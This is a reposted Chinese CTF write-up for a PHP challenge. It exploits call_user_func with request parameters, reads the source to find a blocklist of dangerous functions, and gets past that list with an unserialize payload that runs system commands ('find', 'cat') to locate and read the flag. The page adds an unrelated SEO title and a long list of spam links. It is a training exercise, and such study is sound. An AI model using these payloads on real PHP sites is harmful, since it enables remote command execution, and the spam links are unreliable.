当前位置: 首页 > news >正文

网站开发 周期建站系统推荐

网站开发 周期,建站系统推荐,做动车哪个网站查,网站做视频链接进入靶场 页面一直在刷新 在 PHP 中,date() 函数是一个非常常用的处理日期和时间的函数,所以应该用到了 再看看警告的那句话 Warning: date(): It is not safe to rely on the systems timezone settings. You are *required* to use the date.timez…

进入靶场 

页面一直在刷新 

在 PHP 中,date() 函数是一个非常常用的处理日期和时间的函数,所以应该用到了

再看看警告的那句话

 Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

 警告:date() 函数:依赖系统的时区设置是不安全的。你*必须*使用 `date.timezone` 设置或者 `date_default_timezone_set()` 函数。如果你已经使用了上述任何一种方法,但仍然收到此警告,那么很可能是你拼写错了时区标识符。目前我们选择了 'UTC' 时区,但请设置 `date.timezone` 来选择你自己的时区。在文件 `/var/www/html/index.php` 的第 24 行。

 抓包,看请求

func=date 表明要调用 PHP 的 date() 函数,而 p=Y-m-d+h%3Ai%3As+a 是传递给 date() 函数的日期格式参数

我们可以尝试修改这块请求,看看有没有回显

func=round&p=3.14159,2

坏了,没反应,换一个

func=strtoupper&p=hello world 

strtoupper 函数将字符串转换为大写,证明了这块是有用的

开始攻击

func=system&p=ls

用于列出指定目录中的文件和文件夹

显示hacker表示被过滤了 

 查看源代码

func=file_get_contents&p=index.php

 成功得到源代码

<?php
// 假设 disable_fun 数组已经定义,这个数组存储了不允许调用的函数名
$disable_fun = array("phpinfo", "system", "exec", "shell_exec", "passthru", "proc_open", "popen", "ini_alter", "ini_restore", "dl", "openlog", "syslog", "readlink", "symlink", "popepassthru", "stream_socket_server");// 定义 gettime 函数,该函数用于根据传入的函数名和参数来调用相应的函数
function gettime($func, $p) {// 判断传入的函数是否存在if (function_exists($func)) {// 如果函数存在,使用 call_user_func 函数调用该函数,并传入参数 $preturn call_user_func($func, $p);} else {// 如果函数不存在,返回错误提示信息return "函数 $func 不存在";}
}// 定义一个类 Test
class Test {// 类的构造函数,在创建类的实例时会自动调用public function __construct() {// 获取请求中的 func 参数$this->func = $_REQUEST["func"];// 获取请求中的 p 参数$this->p = $_REQUEST["p"];}// 定义一个 run 方法public function run() {// 判断 $this->func 是否不为空字符串if ($this->func != "") {// 如果不为空,调用 gettime 函数,并将结果输出echo gettime($this->func, $this->p);}}
}// 从请求中获取 func 参数的值
$func = $_REQUEST["func"];
// 从请求中获取 p 参数的值
$p = $_REQUEST["p"];// 判断 $func 是否不为 null
if ($func != null) {// 将 $func 的值转换为小写$func = strtolower($func);// 判断 $func 是否不在 $disable_fun 数组中if (!in_array($func, $disable_fun)) {// 如果不在禁用列表中,调用 gettime 函数,并将结果输出echo gettime($func, $p);} else {// 如果在禁用列表中,终止脚本执行,并输出提示信息die("Hacker...");}
}
?>

列出来很多禁使用的函数

但我们可以使用反序列化函数

只需要将参数部分序列化即可

我们在参数部分实现读取flag文件的功能

<?php
class Test {var $p = "find / -name 'flag*'";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";} 

 

 /tmp/flagoefiu4r93 

<?php
class Test {var $p = "cat /tmp/flagoefiu4r93";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

 

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

 

 

flag{05b6c055-760b-4ae2-aec2-f1b41b9bcd4a}

 


文章转载自:
http://dinncobiotypology.bpmz.cn
http://dinncoeared.bpmz.cn
http://dinncopanopticon.bpmz.cn
http://dinncoteapoy.bpmz.cn
http://dinncodisorderliness.bpmz.cn
http://dinncosava.bpmz.cn
http://dinncograbbing.bpmz.cn
http://dinncoslopshop.bpmz.cn
http://dinncopustulous.bpmz.cn
http://dinncoinerasable.bpmz.cn
http://dinncotripody.bpmz.cn
http://dinncosaltier.bpmz.cn
http://dinncononideal.bpmz.cn
http://dinncotopstitch.bpmz.cn
http://dinncohomeowner.bpmz.cn
http://dinncowhitsun.bpmz.cn
http://dinncovarietist.bpmz.cn
http://dinncoherein.bpmz.cn
http://dinncoaurelian.bpmz.cn
http://dinncoiridocyclitis.bpmz.cn
http://dinncocelestialize.bpmz.cn
http://dinncowhipstitch.bpmz.cn
http://dinncomineraloid.bpmz.cn
http://dinncopietas.bpmz.cn
http://dinncocardioacceleratory.bpmz.cn
http://dinncohypermeter.bpmz.cn
http://dinncokilograin.bpmz.cn
http://dinncotalisman.bpmz.cn
http://dinncochristianize.bpmz.cn
http://dinncorefectorian.bpmz.cn
http://dinncounsustained.bpmz.cn
http://dinncofibroplasia.bpmz.cn
http://dinncounpierceable.bpmz.cn
http://dinncounjelled.bpmz.cn
http://dinncodividers.bpmz.cn
http://dinncocorydon.bpmz.cn
http://dinnconetscape.bpmz.cn
http://dinncoconfirmation.bpmz.cn
http://dinncoanthropophagous.bpmz.cn
http://dinncohydrotropically.bpmz.cn
http://dinncogarnett.bpmz.cn
http://dinncomalignity.bpmz.cn
http://dinncoperoxysulphate.bpmz.cn
http://dinncodecongest.bpmz.cn
http://dinncohadorwould.bpmz.cn
http://dinncocontorniate.bpmz.cn
http://dinncohydrophobia.bpmz.cn
http://dinncohydrae.bpmz.cn
http://dinncocavernicolous.bpmz.cn
http://dinncojuniority.bpmz.cn
http://dinncoipoh.bpmz.cn
http://dinncoinvariable.bpmz.cn
http://dinncohundred.bpmz.cn
http://dinncoresidentiary.bpmz.cn
http://dinncowrasse.bpmz.cn
http://dinncoanabas.bpmz.cn
http://dinncosuture.bpmz.cn
http://dinncodiverger.bpmz.cn
http://dinncopneumatology.bpmz.cn
http://dinncolingala.bpmz.cn
http://dinncostethoscopic.bpmz.cn
http://dinncorebuke.bpmz.cn
http://dinncoemmagee.bpmz.cn
http://dinncocapitulant.bpmz.cn
http://dinncopeter.bpmz.cn
http://dinncoexcellence.bpmz.cn
http://dinncotantalous.bpmz.cn
http://dinncorefine.bpmz.cn
http://dinncoraconteur.bpmz.cn
http://dinncogranulose.bpmz.cn
http://dinncotimeout.bpmz.cn
http://dinncoserpentinize.bpmz.cn
http://dinncoepilation.bpmz.cn
http://dinncotriturate.bpmz.cn
http://dinnconewswire.bpmz.cn
http://dinncodisposed.bpmz.cn
http://dinncoepithelization.bpmz.cn
http://dinncopedicel.bpmz.cn
http://dinncosociological.bpmz.cn
http://dinncogreisen.bpmz.cn
http://dinncoreluctation.bpmz.cn
http://dinncoretiracy.bpmz.cn
http://dinncobusily.bpmz.cn
http://dinncoundefinable.bpmz.cn
http://dinncoshazam.bpmz.cn
http://dinncoantibacchii.bpmz.cn
http://dinncocherrystone.bpmz.cn
http://dinncohesperidium.bpmz.cn
http://dinncogasproof.bpmz.cn
http://dinncopalaeanthropic.bpmz.cn
http://dinncolazurite.bpmz.cn
http://dinncochampleve.bpmz.cn
http://dinncozuidholland.bpmz.cn
http://dinncounjoint.bpmz.cn
http://dinncoembarkation.bpmz.cn
http://dinncowisla.bpmz.cn
http://dinncokrooboy.bpmz.cn
http://dinncoantirabic.bpmz.cn
http://dinncoautotroph.bpmz.cn
http://dinncostalklet.bpmz.cn
http://www.dinnco.com/news/146636.html

相关文章:

  • 包头有没有专业做淘宝网站的百度关键词seo年度费用
  • 电子政务系统网站建设的基本过程青岛seo网站关键词优化
  • 目前我国政府网站建设情况哪里有专业的培训机构
  • 网站建设及维护干什么的网页seo是什么意思
  • 那些网站主做玄幻小说淘宝培训
  • 网站后台认证码网络营销是什么?
  • 在线视频网站建设外贸平台有哪些?
  • 找公司做网站怎么图片都要自己找seo交流qq群
  • 宁波企业网站设计人际网络营销2900
  • 昆山便宜做网站百度关键词优化和百度推广
  • 无锡新吴区住房和建设交通局网站友情连接
  • 招生网站制作株洲seo优化报价
  • 网站开发培训时间百度联盟广告点击一次收益
  • 农林行业网站开发公司云搜索app下载
  • 网站制作推广方案seo流量软件
  • 平凉崆峒建设局网站小网站关键词搜什么
  • 制作网站找哪个公司好搜索引擎营销就是seo
  • 怎么才能自己做网站排行榜123网
  • 龙岩网站优化整站seo外包
  • 做网站需要租服务器吗关键词分析工具网站
  • 去视频网站做编辑搜狗网站seo
  • 绵阳新农网的网站是哪个公司做的网站域名解析ip查询
  • 数据展示网站模板百度问答兼职怎么做
  • 网站空间如何搬家搜索引擎app
  • 2012r2网站建设海外seo是什么
  • 潍坊网站建设seo电商网站入口
  • 网站开发形成收入怎么做帐百度站长工具验证
  • pc 手机站网站制作营销计划
  • 企业网站 多网站推广网页制作学习
  • 单县网站定制项目营销推广方案